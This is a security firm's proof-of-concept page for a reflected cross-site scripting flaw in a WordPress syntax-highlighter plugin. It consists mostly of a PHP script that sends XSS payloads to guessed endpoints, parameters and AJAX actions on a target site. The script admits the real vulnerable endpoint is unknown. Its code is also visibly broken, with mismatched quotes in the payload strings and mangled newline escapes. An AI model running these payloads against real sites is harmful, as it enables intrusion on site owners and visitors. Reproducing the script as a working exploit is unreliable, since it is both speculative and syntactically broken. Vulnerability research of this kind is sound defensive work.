CVE-2025-68859: Syntax Highlighter Compress <= 3.0.83.3 – Reflected Cross-Site Scripting (syntax-highlighter-compress)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68859 - Syntax Highlighter Compress <= 3.0.83.3 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-68859
 * This script demonstrates reflected XSS in Syntax Highlighter Compress plugin
 * Since exact vulnerable endpoint is unknown from metadata, this tests common WordPress plugin patterns
 * Assumptions based on plugin slug and vulnerability type:
 * 1. Vulnerable parameter echoes user input without escaping
 * 2. Endpoint is publicly accessible (PR:N in CVSS)
 * 3. Likely AJAX handler or direct PHP file access
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common WordPress plugin endpoints to test
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-content/plugins/syntax-highlighter-compress/ajax-handler.php',
    '/wp-content/plugins/syntax-highlighter-compress/includes/processor.php',
    '/wp-content/plugins/syntax-highlighter-compress/syntax-highlighter-compress.php'
];

// Test payloads for reflected XSS
$payloads = [
    'test' => '<script>alert('XSS')</script>',
    'code' => '"><img src=x onerror=alert(document.domain)>',
    'content' => ''"onfocus=alert(1) autofocus="',
    'data' => 'javascript:alert(1)'
];

// Common parameter names for syntax highlighting plugins
$parameters = ['code', 'content', 'text', 'data', 'input', 'source', 'highlight'];

foreach ($endpoints as $endpoint) {
    $url = $target_url . $endpoint;
    
    // Test GET parameters
    foreach ($parameters as $param) {
        foreach ($payloads as $payload_name => $payload) {
            $test_url = $url . '?' . $param . '=' . urlencode($payload);
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $test_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            if ($http_code == 200) {
                // Check if payload appears unescaped in response
                if (strpos($response, $payload) !== false) {
                    echo "[POTENTIAL VULNERABILITY] GET: $test_urln";
                    echo "Payload found unescaped in response.nn";
                }
            }
            
            curl_close($ch);
        }
    }
    
    // Test POST requests for AJAX endpoints
    if (strpos($endpoint, 'admin-ajax.php') !== false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        
        // Common AJAX action names for syntax plugins
        $ajax_actions = [
            'syntax_highlighter_compress_process',
            'shc_process',
            'syntax_highlight',
            'compress_code'
        ];
        
        foreach ($ajax_actions as $action) {
            foreach ($parameters as $param) {
                foreach ($payloads as $payload_name => $payload) {
                    $post_data = [
                        'action' => $action,
                        $param => $payload
                    ];
                    
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
                    $response = curl_exec($ch);
                    
                    if (strpos($response, $payload) !== false) {
                        echo "[POTENTIAL VULNERABILITY] POST AJAX: $urln";
                        echo "Action: $action, Parameter: $paramn";
                        echo "Payload found unescaped in response.nn";
                    }
                }
            }
        }
        
        curl_close($ch);
    }
}

echo "Testing complete. Any potential vulnerabilities shown above.n";
echo "Note: This PoC tests common patterns. Actual exploitation requiresn";
echo "identifying the exact vulnerable endpoint and parameter.n";
?>